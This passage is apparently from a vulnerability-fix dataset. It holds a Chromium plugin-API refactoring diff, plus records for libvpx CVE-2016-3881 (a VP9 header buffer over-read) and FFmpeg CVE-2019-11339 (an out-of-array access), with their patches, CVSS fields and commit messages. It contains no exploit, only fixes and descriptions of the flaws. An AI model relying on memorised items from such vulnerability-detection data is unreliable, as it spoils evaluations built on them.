char* buf,\n+ unsigned int len,\n+ int notify_id,\n+ bool popups_allowed) = 0;\n \n // Cancels document load.\n virtual void CancelDocumentLoad() = 0;\n \n- // Initiates a HTTP range request.\n+ // Initiates a HTTP range request for an existing stream.\n virtual void InitiateHTTPRangeRequest(const char* url,\n const char* range_info,\n- intptr_t existing_stream,\n- bool notify_needed,\n- intptr_t notify_data) = 0;\n+ int range_request_id) = 0;\n \n // Returns true iff in off the record (Incognito) mode.\n virtual bool IsOffTheRecord() = 0;"}<_**next**_>{"sha": "52c71861fe8e2c2f19478806ff0de12ce37979a6", "filename": "webkit/glue/webplugin_delegate.h", "status": "modified", "additions": 9, "deletions": 6, "changes": 15, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/webplugin_delegate.h", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/webplugin_delegate.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/webkit/glue/webplugin_delegate.h?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -94,7 +94,7 @@ class WebPluginDelegate : public WebPlugin2DDeviceDelegate,\n // Receives notification about a resource load that the plugin initiated\n // for a frame.\n virtual void DidFinishLoadWithReason(const GURL& url, NPReason reason,\n- intptr_t notify_data) = 0;\n+ int notify_id) = 0;\n \n // Returns the process id of the process that is running the plugin.\n virtual int GetProcessId() = 0;\n@@ -103,8 +103,8 @@ class WebPluginDelegate : public WebPlugin2DDeviceDelegate,\n // function.\n virtual void SendJavaScriptStream(const GURL& url,\n const std::string& result,\n- bool success, bool notify_needed,\n- intptr_t notify_data) = 0;\n+ bool success,\n+ int notify_id) = 0;\n \n // Receives notification about data being available.\n virtual void DidReceiveManualResponse(const GURL& url,\n@@ -129,9 +129,12 @@ class WebPluginDelegate : public WebPlugin2DDeviceDelegate,\n virtual WebPluginResourceClient* CreateResourceClient(\n unsigned long resource_id,\n const GURL& url,\n- bool notify_needed,\n- intptr_t notify_data,\n- intptr_t stream) = 0;\n+ int notify_id) = 0;\n+\n+ // Creates a WebPluginResourceClient instance for an existing stream that is\n+ // has become seekable.\n+ virtual WebPluginResourceClient* CreateSeekableResourceClient(\n+ unsigned long resource_id, int range_request_id) = 0;\n };\n \n } // namespace webkit_glue"}<_**next**_>{"sha": "f032340d1bc86868f18548a5dfc609283ebe544d", "filename": "webkit/glue/webplugin_impl.cc", "status": "modified", "additions": 69, "deletions": 77, "changes": 146, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/webplugin_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/webplugin_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/webkit/glue/webplugin_impl.cc?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -354,7 +354,7 @@ void WebPluginImpl::didFinishLoadingFrameRequest(\n const WebURL& url, void* notify_data) {\n if (delegate_) {\n delegate_->DidFinishLoadWithReason(\n- url, NPRES_DONE, reinterpret_cast<intptr_t>(notify_data));\n+ url, NPRES_DONE, reinterpret_cast<int>(notify_data));\n }\n }\n \n@@ -366,7 +366,7 @@ void WebPluginImpl::didFailLoadingFrameRequest(\n NPReason reason =\n error.reason == net::ERR_ABORTED ? NPRES_USER_BREAK : NPRES_NETWORK_ERR;\n delegate_->DidFinishLoadWithReason(\n- url, reason, reinterpret_cast<intptr_t>(notify_data));\n+ url, reason, reinterpret_cast<int>(notify_data));\n }\n \n // -----------------------------------------------------------------------------\n@@ -478,15 +478,13 @@ bool WebPluginImpl::SetPostData(WebURLRequest* request,\n }\n \n WebPluginImpl::RoutingStatus WebPluginImpl::RouteToFrame(\n- const char *method,\n+ const char* url,\n bool is_javascript_url,\n+ const char* method,\n const char* target,\n- unsigned int len,\n const char* buf,\n- bool is_file_data,\n- bool notify_needed,\n- intptr_t notify_data,\n- const char* url,\n+ unsigned int len,\n+ int notify_id,\n Referrer referrer_flag) {\n // If there is no target, there is nothing to do\n if (!target)\n@@ -534,23 +532,16 @@ WebPluginImpl::RoutingStatus WebPluginImpl::RouteToFrame(\n \n request.setHTTPMethod(WebString::fromUTF8(method));\n if (len > 0) {\n- if (!is_file_data) {\n- if (!SetPostData(&request, buf, len)) {\n- // Uhoh - we're in trouble. There isn't a good way\n- // to recover at this point. Break out.\n- NOTREACHED();\n- return ROUTED;\n- }\n- } else {\n- // TODO: Support \"file\" mode. For now, just break out\n- // since proceeding may do something unintentional.\n+ if (!SetPostData(&request, buf, len)) {\n+ // Uhoh - we're in trouble. There isn't a good way\n+ // to recover at this point. Break out.\n NOTREACHED();\n return ROUTED;\n }\n }\n \n- container_->loadFrameRequest(request, target_str, notify_needed,\n- reinterpret_cast<void*>(notify_data));\n+ container_->loadFrameRequest(\n+ request, target_str, notify_id != 0, reinterpret_cast<void*>(notify_id));\n return ROUTED;\n }\n \n@@ -603,9 +594,8 @@ void WebPluginImpl::InvalidateRect(const gfx::Rect& rect) {\n }\n \n void WebPluginImpl::OnDownloadPluginSrcUrl() {\n- HandleURLRequestInternal(\"GET\", false, NULL, 0, NULL, false, false,\n- plugin_url_.spec().c_str(), NULL, false,\n- DOCUMENT_URL);\n+ HandleURLRequestInternal(\n+ plugin_url_.spec().c_str(), \"GET\", NULL, NULL, 0, 0, false, DOCUMENT_URL);\n }\n \n WebPluginResourceClient* WebPluginImpl::GetClientFromLoader(\n@@ -683,8 +673,7 @@ void WebPluginImpl::didReceiveResponse(WebURLLoader* loader,\n for (size_t i = 0; i < clients_.size(); ++i) {\n if (clients_[i].loader.get() == loader) {\n WebPluginResourceClient* resource_client =\n- delegate_->CreateResourceClient(clients_[i].id, plugin_url_,\n- false, 0, NULL);\n+ delegate_->CreateResourceClient(clients_[i].id, plugin_url_, 0);\n clients_[i].client = resource_client;\n client = resource_client;\n break;\n@@ -816,34 +805,38 @@ void WebPluginImpl::SetContainer(WebPluginContainer* container) {\n container_ = container;\n }\n \n-void WebPluginImpl::HandleURLRequest(const char *method,\n- bool is_javascript_url,\n- const char* target, unsigned int len,\n- const char* buf, bool is_file_data,\n- bool notify, const char* url,\n- intptr_t notify_data, bool popups_allowed) {\n+void WebPluginImpl::HandleURLRequest(const char* url,\n+ const char *method,\n+ const char* target,\n+ const char* buf,\n+ unsigned int len,\n+ int notify_id,\n+ bool popups_allowed) {\n // GetURL/PostURL requests initiated explicitly by plugins should specify the\n // plugin SRC url as the referrer if it is available.\n- HandleURLRequestInternal(method, is_javascript_url, target, len, buf,\n- is_file_data, notify, url, notify_data,\n- popups_allowed, PLUGIN_SRC);\n+ HandleURLRequestInternal(\n+ url, method, target, buf, len, notify_id, popups_allowed, PLUGIN_SRC);\n }\n \n-void WebPluginImpl::HandleURLRequestInternal(\n- const char *method, bool is_javascript_url, const char* target,\n- unsigned int len, const char* buf, bool is_file_data, bool notify,\n- const char* url, intptr_t notify_data, bool popups_allowed,\n- Referrer referrer_flag) {\n+void WebPluginImpl::HandleURLRequestInternal(const char* url,\n+ const char *method,\n+ const char* target,\n+ const char* buf,\n+ unsigned int len,\n+ int notify_id,\n+ bool popups_allowed,\n+ Referrer referrer_flag) {\n // For this request, we either route the output to a frame\n // because a target has been specified, or we handle the request\n // here, i.e. by executing the script if it is a javascript url\n // or by initiating a download on the URL, etc. There is one special\n // case in that the request is a javascript url and the target is \"_self\",\n // in which case we route the output to the plugin rather than routing it\n // to the plugin's frame.\n- RoutingStatus routing_status =\n- RouteToFrame(method, is_javascript_url, target, len, buf, is_file_data,\n- notify, notify_data, url, referrer_flag);\n+ bool is_javascript_url = StartsWithASCII(url, \"javascript:\", false);\n+ RoutingStatus routing_status = RouteToFrame(\n+ url, is_javascript_url, method, target, buf, len, notify_id,\n+ referrer_flag);\n if (routing_status == ROUTED)\n return;\n \n@@ -855,37 +848,38 @@ void WebPluginImpl::HandleURLRequestInternal(\n // be deleted.\n if (delegate_) {\n delegate_->SendJavaScriptStream(\n- gurl, result.utf8(), !result.isNull(), notify, notify_data);\n+ gurl, result.utf8(), !result.isNull(), notify_id);\n }\n- } else {\n- GURL complete_url = CompleteURL(url);\n \n- unsigned long resource_id = GetNextResourceId();\n- if (!resource_id)\n- return;\n-\n- WebPluginResourceClient* resource_client = delegate_->CreateResourceClient(\n- resource_id, complete_url, notify, notify_data, NULL);\n- if (!resource_client)\n- return;\n+ return;\n+ }\n \n- // If the RouteToFrame call returned a failure then inform the result\n- // back to the plugin asynchronously.\n- if ((routing_status == INVALID_URL) ||\n- (routing_status == GENERAL_FAILURE)) {\n- resource_client->DidFail();\n- return;\n- }\n+ unsigned long resource_id = GetNextResourceId();\n+ if (!resource_id)\n+ return;\n \n- // CreateResourceClient() sends a synchronous IPC message so it's possible\n- // that TearDownPluginInstance() may have been called in the nested\n- // message loop. If so, don't start the request.\n- if (!delegate_)\n- return;\n+ GURL complete_url = CompleteURL(url);\n+ WebPluginResourceClient* resource_client = delegate_->CreateResourceClient(\n+ resource_id, complete_url, notify_id);\n+ if (!resource_client)\n+ return;\n \n- InitiateHTTPRequest(resource_id, resource_client, method, buf, len,\n- complete_url, NULL, referrer_flag);\n+ // If the RouteToFrame call returned a failure then inform the result\n+ // back to the plugin asynchronously.\n+ if ((routing_status == INVALID_URL) ||\n+ (routing_status == GENERAL_FAILURE)) {\n+ resource_client->DidFail();\n+ return;\n }\n+\n+ // CreateResourceClient() sends a synchronous IPC message so it's possible\n+ // that TearDownPluginInstance() may have been called in the nested\n+ // message loop. If so, don't start the request.\n+ if (!delegate_)\n+ return;\n+\n+ InitiateHTTPRequest(resource_id, resource_client, complete_url, method, buf,\n+ len, NULL, referrer_flag);\n }\n \n unsigned long WebPluginImpl::GetNextResourceId() {\n@@ -899,9 +893,10 @@ unsigned long WebPluginImpl::GetNextResourceId() {\n \n bool WebPluginImpl::InitiateHTTPRequest(unsigned long resource_id,\n WebPluginResourceClient* client,\n- const char* method, const char* buf,\n- int buf_len,\n const GURL& url,\n+ const char* method,\n+ const char* buf,\n+ int buf_len,\n const char* range_info,\n Referrer referrer_flag) {\n if (!client) {\n@@ -956,21 +951,18 @@ void WebPluginImpl::CancelDocumentLoad() {\n }\n }\n \n-void WebPluginImpl::InitiateHTTPRangeRequest(const char* url,\n- const char* range_info,\n- intptr_t existing_stream,\n- bool notify_needed,\n- intptr_t notify_data) {\n+void WebPluginImpl::InitiateHTTPRangeRequest(\n+ const char* url, const char* range_info, int range_request_id) {\n unsigned long resource_id = GetNextResourceId();\n if (!resource_id)\n return;\n \n GURL complete_url = CompleteURL(url);\n \n- WebPluginResourceClient* resource_client = delegate_->CreateResourceClient(\n- resource_id, complete_url, notify_needed, notify_data, existing_stream);\n+ WebPluginResourceClient* resource_client =\n+ delegate_->CreateSeekableResourceClient(resource_id, range_request_id);\n InitiateHTTPRequest(\n- resource_id, resource_client, \"GET\", NULL, 0, complete_url, range_info,\n+ resource_id, resource_client, complete_url, \"GET\", NULL, 0, range_info,\n load_manually_ ? NO_REFERRER : PLUGIN_SRC);\n }\n "}<_**next**_>{"sha": "fbe9ff6ee11b978c59aad1bdc3499bd9384468f6", "filename": "webkit/glue/webplugin_impl.h", "status": "modified", "additions": 29, "deletions": 21, "changes": 50, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/webplugin_impl.h", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/webkit/glue/webplugin_impl.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/webkit/glue/webplugin_impl.h?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -128,11 +128,14 @@ class WebPluginImpl : public WebPlugin,\n // Given a download request, check if we need to route the output to a frame.\n // Returns ROUTED if the load is done and routed to a frame, NOT_ROUTED or\n // corresponding error codes otherwise.\n- RoutingStatus RouteToFrame(const char* method, bool is_javascript_url,\n- const char* target, unsigned int len,\n- const char* buf, bool is_file_data,\n- bool notify_needed, intptr_t notify_data,\n- const char* url, Referrer referrer_flag);\n+ RoutingStatus RouteToFrame(const char* url,\n+ bool is_javascript_url,\n+ const char* method,\n+ const char* target,\n+ const char* buf,\n+ unsigned int len,\n+ int notify_id,\n+ Referrer referrer_flag);\n \n // Cancels a pending request.\n void CancelResource(unsigned long id);\n@@ -145,8 +148,11 @@ class WebPluginImpl : public WebPlugin,\n // Returns true on success.\n bool InitiateHTTPRequest(unsigned long resource_id,\n WebPluginResourceClient* client,\n- const char* method, const char* buf, int buf_len,\n- const GURL& url, const char* range_info,\n+ const GURL& url,\n+ const char* method,\n+ const char* buf,\n+ int len,\n+ const char* range_info,\n Referrer referrer_flag);\n \n gfx::Rect GetWindowClipRect(const gfx::Rect& rect);\n@@ -199,18 +205,18 @@ class WebPluginImpl : public WebPlugin,\n // request given a handle.\n void RemoveClient(WebKit::WebURLLoader* loader);\n \n- void HandleURLRequest(const char *method,\n- bool is_javascript_url,\n- const char* target, unsigned int len,\n- const char* buf, bool is_file_data,\n- bool notify, const char* url,\n- intptr_t notify_data, bool popups_allowed);\n+ void HandleURLRequest(const char* url,\n+ const char *method,\n+ const char* target,\n+ const char* buf,\n+ unsigned int len,\n+ int notify_id,\n+ bool popups_allowed);\n \n void CancelDocumentLoad();\n \n- void InitiateHTTPRangeRequest(const char* url, const char* range_info,\n- intptr_t existing_stream, bool notify_needed,\n- intptr_t notify_data);\n+ void InitiateHTTPRangeRequest(\n+ const char* url, const char* range_info, int pending_request_id);\n \n void SetDeferResourceLoading(unsigned long resource_id, bool defer);\n \n@@ -222,11 +228,13 @@ class WebPluginImpl : public WebPlugin,\n void HandleHttpMultipartResponse(const WebKit::WebURLResponse& response,\n WebPluginResourceClient* client);\n \n- void HandleURLRequestInternal(const char *method, bool is_javascript_url,\n- const char* target, unsigned int len,\n- const char* buf, bool is_file_data,\n- bool notify, const char* url,\n- intptr_t notify_data, bool popups_allowed,\n+ void HandleURLRequestInternal(const char* url,\n+ const char *method,\n+ const char* target,\n+ const char* buf,\n+ unsigned int len,\n+ int notify_id,\n+ bool popups_allowed,\n Referrer referrer_flag);\n \n // Tears down the existing plugin instance and creates a new plugin instance"}
|
static void ReleaseTransportDIB(TransportDIB *dib) {
if (dib) {
IPC::Message* msg = new ViewHostMsg_FreeTransportDIB(dib->id());
RenderThread::current()->Send(msg);
}
}
|
static void ReleaseTransportDIB(TransportDIB *dib) {
if (dib) {
IPC::Message* msg = new ViewHostMsg_FreeTransportDIB(dib->id());
RenderThread::current()->Send(msg);
}
}
|
C
| null | null | null |
@@ -66,31 +66,24 @@ class ResourceClientProxy : public webkit_glue::WebPluginResourceClient {
public:
ResourceClientProxy(PluginChannelHost* channel, int instance_id)
: channel_(channel), instance_id_(instance_id), resource_id_(0),
- notify_needed_(false), notify_data_(0),
multibyte_response_expected_(false) {
}
~ResourceClientProxy() {
}
- void Initialize(unsigned long resource_id, const GURL& url,
- bool notify_needed, intptr_t notify_data,
- intptr_t existing_stream) {
+ void Initialize(unsigned long resource_id, const GURL& url, int notify_id) {
resource_id_ = resource_id;
- url_ = url;
- notify_needed_ = notify_needed;
- notify_data_ = notify_data;
-
- PluginMsg_URLRequestReply_Params params;
- params.resource_id = resource_id;
- params.url = url_;
- params.notify_needed = notify_needed_;
- params.notify_data = notify_data_;
- params.stream = existing_stream;
-
- multibyte_response_expected_ = (existing_stream != 0);
+ channel_->Send(new PluginMsg_HandleURLRequestReply(
+ instance_id_, resource_id, url, notify_id));
+ }
- channel_->Send(new PluginMsg_HandleURLRequestReply(instance_id_, params));
+ void InitializeForSeekableStream(unsigned long resource_id,
+ int range_request_id) {
+ resource_id_ = resource_id;
+ multibyte_response_expected_ = true;
+ channel_->Send(new PluginMsg_HTTPRangeRequestReply(
+ instance_id_, resource_id, range_request_id));
}
// PluginResourceClient implementation:
@@ -154,9 +147,6 @@ class ResourceClientProxy : public webkit_glue::WebPluginResourceClient {
scoped_refptr<PluginChannelHost> channel_;
int instance_id_;
unsigned long resource_id_;
- GURL url_;
- bool notify_needed_;
- intptr_t notify_data_;
// Set to true if the response expected is a multibyte response.
// For e.g. response for a HTTP byte range request.
bool multibyte_response_expected_;
@@ -314,13 +304,9 @@ bool WebPluginDelegateProxy::Send(IPC::Message* msg) {
void WebPluginDelegateProxy::SendJavaScriptStream(const GURL& url,
const std::string& result,
bool success,
- bool notify_needed,
- intptr_t notify_data) {
- PluginMsg_SendJavaScriptStream* msg =
- new PluginMsg_SendJavaScriptStream(instance_id_, url, result,
- success, notify_needed,
- notify_data);
- Send(msg);
+ int notify_id) {
+ Send(new PluginMsg_SendJavaScriptStream(
+ instance_id_, url, result, success, notify_id));
}
void WebPluginDelegateProxy::DidReceiveManualResponse(
@@ -823,9 +809,7 @@ NPObject* WebPluginDelegateProxy::GetPluginScriptableObject() {
return WebBindings::retainObject(npobject_);
int route_id = MSG_ROUTING_NONE;
- intptr_t npobject_ptr;
- Send(new PluginMsg_GetPluginScriptableObject(
- instance_id_, &route_id, &npobject_ptr));
+ Send(new PluginMsg_GetPluginScriptableObject(instance_id_, &route_id));
if (route_id == MSG_ROUTING_NONE)
return NULL;
@@ -836,9 +820,9 @@ NPObject* WebPluginDelegateProxy::GetPluginScriptableObject() {
}
void WebPluginDelegateProxy::DidFinishLoadWithReason(
- const GURL& url, NPReason reason, intptr_t notify_data) {
+ const GURL& url, NPReason reason, int notify_id) {
Send(new PluginMsg_DidFinishLoadWithReason(
- instance_id_, url, reason, notify_data));
+ instance_id_, url, reason, notify_id));
}
void WebPluginDelegateProxy::SetFocus() {
@@ -909,7 +893,7 @@ void WebPluginDelegateProxy::OnInvalidateRect(const gfx::Rect& rect) {
}
void WebPluginDelegateProxy::OnGetWindowScriptNPObject(
- int route_id, bool* success, intptr_t* npobject_ptr) {
+ int route_id, bool* success) {
*success = false;
NPObject* npobject = NULL;
if (plugin_)
@@ -923,11 +907,9 @@ void WebPluginDelegateProxy::OnGetWindowScriptNPObject(
window_script_object_ = (new NPObjectStub(
npobject, channel_host_.get(), route_id, 0, page_url_))->AsWeakPtr();
*success = true;
- *npobject_ptr = reinterpret_cast<intptr_t>(npobject);
}
-void WebPluginDelegateProxy::OnGetPluginElement(
- int route_id, bool* success, intptr_t* npobject_ptr) {
+void WebPluginDelegateProxy::OnGetPluginElement(int route_id, bool* success) {
*success = false;
NPObject* npobject = NULL;
if (plugin_)
@@ -940,7 +922,6 @@ void WebPluginDelegateProxy::OnGetPluginElement(
new NPObjectStub(
npobject, channel_host_.get(), route_id, 0, page_url_);
*success = true;
- *npobject_ptr = reinterpret_cast<intptr_t>(npobject);
}
void WebPluginDelegateProxy::OnSetCookie(const GURL& url,
@@ -1155,24 +1136,33 @@ void WebPluginDelegateProxy::OnHandleURLRequest(
if (params.target.length())
target = params.target.c_str();
- plugin_->HandleURLRequest(params.method.c_str(),
- params.is_javascript_url, target,
- static_cast<unsigned int>(params.buffer.size()),
- data, params.is_file_data, params.notify,
- params.url.c_str(), params.notify_data,
- params.popups_allowed);
+ plugin_->HandleURLRequest(
+ params.url.c_str(), params.method.c_str(), target, data,
+ static_cast<unsigned int>(params.buffer.size()), params.notify_id,
+ params.popups_allowed);
}
webkit_glue::WebPluginResourceClient*
WebPluginDelegateProxy::CreateResourceClient(
- unsigned long resource_id, const GURL& url, bool notify_needed,
- intptr_t notify_data, intptr_t npstream) {
+ unsigned long resource_id, const GURL& url, int notify_id) {
+ if (!channel_host_)
+ return NULL;
+
+ ResourceClientProxy* proxy = new ResourceClientProxy(channel_host_,
+ instance_id_);
+ proxy->Initialize(resource_id, url, notify_id);
+ return proxy;
+}
+
+webkit_glue::WebPluginResourceClient*
+WebPluginDelegateProxy::CreateSeekableResourceClient(
+ unsigned long resource_id, int range_request_id) {
if (!channel_host_)
return NULL;
ResourceClientProxy* proxy = new ResourceClientProxy(channel_host_,
instance_id_);
- proxy->Initialize(resource_id, url, notify_needed, notify_data, npstream);
+ proxy->InitializeForSeekableStream(resource_id, range_request_id);
return proxy;
}
@@ -1195,11 +1185,11 @@ void WebPluginDelegateProxy::OnCancelDocumentLoad() {
}
void WebPluginDelegateProxy::OnInitiateHTTPRangeRequest(
- const std::string& url, const std::string& range_info,
- intptr_t existing_stream, bool notify_needed, intptr_t notify_data) {
- plugin_->InitiateHTTPRangeRequest(url.c_str(), range_info.c_str(),
- existing_stream, notify_needed,
- notify_data);
+ const std::string& url,
+ const std::string& range_info,
+ int range_request_id) {
+ plugin_->InitiateHTTPRangeRequest(
+ url.c_str(), range_info.c_str(), range_request_id);
}
void WebPluginDelegateProxy::OnDeferResourceLoading(unsigned long resource_id,
|
Chrome
|
ea3d1d84be3d6f97bf50e76511c9e26af6895533
|
403e46333b43009776a08273501e4ca8c5c06e12
| 0
|
static void ReleaseTransportDIB(TransportDIB *dib) {
if (dib) {
IPC::Message* msg = new ViewHostMsg_FreeTransportDIB(dib->id());
RenderThread::current()->Send(msg);
}
}
|
171,449
| null |
Remote
|
Not required
|
Complete
|
CVE-2016-3881
|
https://www.cvedetails.com/cve/CVE-2016-3881/
|
CWE-119
|
Medium
| null | null | null |
2016-09-11
| 7.1
|
The decoder_peek_si_internal function in vp9/vp9_dx_iface.c in libvpx in mediaserver in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, 6.x before 2016-09-01, and 7.0 before 2016-09-01 allows remote attackers to cause a denial of service (buffer over-read, and device hang or reboot) via a crafted media file, aka internal bug 30013856.
|
2017-08-12
|
DoS Overflow
| 0
|
https://android.googlesource.com/platform/external/libvpx/+/4974dcbd0289a2530df2ee2a25b5f92775df80da
|
4974dcbd0289a2530df2ee2a25b5f92775df80da
|
DO NOT MERGE | libvpx: cherry-pick aa1c813 from upstream
Description from upstream:
vp9: Fix potential SEGV in decoder_peek_si_internal
decoder_peek_si_internal could potentially read more bytes than
what actually exists in the input buffer. We check for the buffer
size to be at least 8, but we try to read up to 10 bytes in the
worst case. A well crafted file could thus cause a segfault.
Likely change that introduced this bug was:
https://chromium-review.googlesource.com/#/c/70439 (git hash:
7c43fb6)
Bug: 30013856
Change-Id: If556414cb5b82472d5673e045bc185cc57bb9af3
(cherry picked from commit bd57d587c2eb743c61b049add18f9fd72bf78c33)
| 0
|
libvpx/vp9/vp9_dx_iface.c
|
{"filename": "libvpx/vp9/vp9_dx_iface.c", "raw_url": "https://android.googlesource.com/platform/external/libvpx/+/4974dcbd0289a2530df2ee2a25b5f92775df80da/libvpx/vp9/vp9_dx_iface.c", "patch": "@@ -127,7 +127,7 @@\n\n vpx_decrypt_cb decrypt_cb,\n void *decrypt_state) {\n int intra_only_flag = 0;\n- uint8_t clear_buffer[9];\n+ uint8_t clear_buffer[10];\n \n if (data + data_sz <= data)\n return VPX_CODEC_INVALID_PARAM;\n@@ -141,6 +141,11 @@\n\n data = clear_buffer;\n }\n \n+ // A maximum of 6 bits are needed to read the frame marker, profile and\n+ // show_existing_frame.\n+ if (data_sz < 1)\n+ return VPX_CODEC_UNSUP_BITSTREAM;\n+\n {\n int show_frame;\n int error_resilient;\n@@ -154,15 +159,19 @@\n\n if (profile >= MAX_PROFILES)\n return VPX_CODEC_UNSUP_BITSTREAM;\n \n- if ((profile >= 2 && data_sz <= 1) || data_sz < 1)\n- return VPX_CODEC_UNSUP_BITSTREAM;\n-\n if (vpx_rb_read_bit(&rb)) { // show an existing frame\n+ // If profile is > 2 and show_existing_frame is true, then at least 1 more\n+ // byte (6+3=9 bits) is needed.\n+ if (profile > 2 && data_sz < 2)\n+ return VPX_CODEC_UNSUP_BITSTREAM;\n vpx_rb_read_literal(&rb, 3); // Frame buffer to show.\n return VPX_CODEC_OK;\n }\n \n- if (data_sz <= 8)\n+ // For the rest of the function, a maximum of 9 more bytes are needed\n+ // (computed by taking the maximum possible bits needed in each case). Note\n+ // that this has to be updated if we read any more bits in this function.\n+ if (data_sz < 10)\n return VPX_CODEC_UNSUP_BITSTREAM;\n \n si->is_kf = !vpx_rb_read_bit(&rb);\n"}
|
static vpx_codec_err_t decoder_get_si(vpx_codec_alg_priv_t *ctx,
vpx_codec_stream_info_t *si) {
const size_t sz = (si->sz >= sizeof(vp9_stream_info_t))
? sizeof(vp9_stream_info_t)
: sizeof(vpx_codec_stream_info_t);
memcpy(si, &ctx->si, sz);
si->sz = (unsigned int)sz;
return VPX_CODEC_OK;
}
|
static vpx_codec_err_t decoder_get_si(vpx_codec_alg_priv_t *ctx,
vpx_codec_stream_info_t *si) {
const size_t sz = (si->sz >= sizeof(vp9_stream_info_t))
? sizeof(vp9_stream_info_t)
: sizeof(vpx_codec_stream_info_t);
memcpy(si, &ctx->si, sz);
si->sz = (unsigned int)sz;
return VPX_CODEC_OK;
}
|
C
| null | null | null |
@@ -127,7 +127,7 @@
vpx_decrypt_cb decrypt_cb,
void *decrypt_state) {
int intra_only_flag = 0;
- uint8_t clear_buffer[9];
+ uint8_t clear_buffer[10];
if (data + data_sz <= data)
return VPX_CODEC_INVALID_PARAM;
@@ -141,6 +141,11 @@
data = clear_buffer;
}
+ // A maximum of 6 bits are needed to read the frame marker, profile and
+ // show_existing_frame.
+ if (data_sz < 1)
+ return VPX_CODEC_UNSUP_BITSTREAM;
+
{
int show_frame;
int error_resilient;
@@ -154,15 +159,19 @@
if (profile >= MAX_PROFILES)
return VPX_CODEC_UNSUP_BITSTREAM;
- if ((profile >= 2 && data_sz <= 1) || data_sz < 1)
- return VPX_CODEC_UNSUP_BITSTREAM;
-
if (vpx_rb_read_bit(&rb)) { // show an existing frame
+ // If profile is > 2 and show_existing_frame is true, then at least 1 more
+ // byte (6+3=9 bits) is needed.
+ if (profile > 2 && data_sz < 2)
+ return VPX_CODEC_UNSUP_BITSTREAM;
vpx_rb_read_literal(&rb, 3); // Frame buffer to show.
return VPX_CODEC_OK;
}
- if (data_sz <= 8)
+ // For the rest of the function, a maximum of 9 more bytes are needed
+ // (computed by taking the maximum possible bits needed in each case). Note
+ // that this has to be updated if we read any more bits in this function.
+ if (data_sz < 10)
return VPX_CODEC_UNSUP_BITSTREAM;
si->is_kf = !vpx_rb_read_bit(&rb);
|
Android
|
https://android.googlesource.com/platform/external/libvpx/+/4974dcbd0289a2530df2ee2a25b5f92775df80da/
|
https://android.googlesource.com/platform/external/libvpx/+/4974dcbd0289a2530df2ee2a25b5f92775df80da%5E/
| 0
|
static vpx_codec_err_t decoder_get_si(vpx_codec_alg_priv_t *ctx,
vpx_codec_stream_info_t *si) {
const size_t sz = (si->sz >= sizeof(vp9_stream_info_t))
? sizeof(vp9_stream_info_t)
: sizeof(vpx_codec_stream_info_t);
memcpy(si, &ctx->si, sz);
si->sz = (unsigned int)sz;
return VPX_CODEC_OK;
}
|
183,404
| null |
Remote
|
Not required
|
Partial
|
CVE-2019-11339
|
https://www.cvedetails.com/cve/CVE-2019-11339/
|
CWE-125
|
Medium
|
Partial
|
Partial
| null |
2019-04-18
| 6.8
|
The studio profile decoder in libavcodec/mpeg4videodec.c in FFmpeg 4.0 before 4.0.4 and 4.1 before 4.1.2 allows remote attackers to cause a denial of service (out-of-array access) or possibly have unspecified other impact via crafted MPEG-4 video data.
|
2019-05-06
|
DoS
| 1
|
https://github.com/FFmpeg/FFmpeg/commit/1f686d023b95219db933394a7704ad9aa5f01cbb
|
1f686d023b95219db933394a7704ad9aa5f01cbb
|
avcodec/mpeg4videodec: Clear interlaced_dct for studio profile
Fixes: Out of array access
Fixes: 13090/clusterfuzz-testcase-minimized-ffmpeg_AV_CODEC_ID_MPEG4_fuzzer-5408668986638336
Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/projects/ffmpeg
Reviewed-by: Kieran Kunhya <kierank@obe.tv>
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
| 0
|
libavcodec/mpeg4videodec.c
|
{"sha": "ecd028a87c7705295b6f9e61687977437430c50d", "filename": "libavcodec/mpeg4videodec.c", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/FFmpeg/FFmpeg/blob/1f686d023b95219db933394a7704ad9aa5f01cbb/libavcodec/mpeg4videodec.c", "raw_url": "https://github.com/FFmpeg/FFmpeg/raw/1f686d023b95219db933394a7704ad9aa5f01cbb/libavcodec/mpeg4videodec.c", "contents_url": "https://api.github.com/repos/FFmpeg/FFmpeg/contents/libavcodec/mpeg4videodec.c?ref=1f686d023b95219db933394a7704ad9aa5f01cbb", "patch": "@@ -3057,6 +3057,7 @@ static int decode_studio_vop_header(Mpeg4DecContext *ctx, GetBitContext *gb)\n return 0;\n \n s->partitioned_frame = 0;\n+ s->interlaced_dct = 0;\n s->decode_mb = mpeg4_decode_studio_mb;\n \n decode_smpte_tc(ctx, gb);"}
|
static int decode_studio_vop_header(Mpeg4DecContext *ctx, GetBitContext *gb)
{
MpegEncContext *s = &ctx->m;
if (get_bits_left(gb) <= 32)
return 0;
s->partitioned_frame = 0;
s->interlaced_dct = 0;
s->decode_mb = mpeg4_decode_studio_mb;
decode_smpte_tc(ctx, gb);
skip_bits(gb, 10); /* temporal_reference */
skip_bits(gb, 2); /* vop_structure */
s->pict_type = get_bits(gb, 2) + AV_PICTURE_TYPE_I; /* vop_coding_type */
if (get_bits1(gb)) { /* vop_coded */
skip_bits1(gb); /* top_field_first */
skip_bits1(gb); /* repeat_first_field */
s->progressive_frame = get_bits1(gb) ^ 1; /* progressive_frame */
}
if (s->pict_type == AV_PICTURE_TYPE_I) {
if (get_bits1(gb))
reset_studio_dc_predictors(s);
}
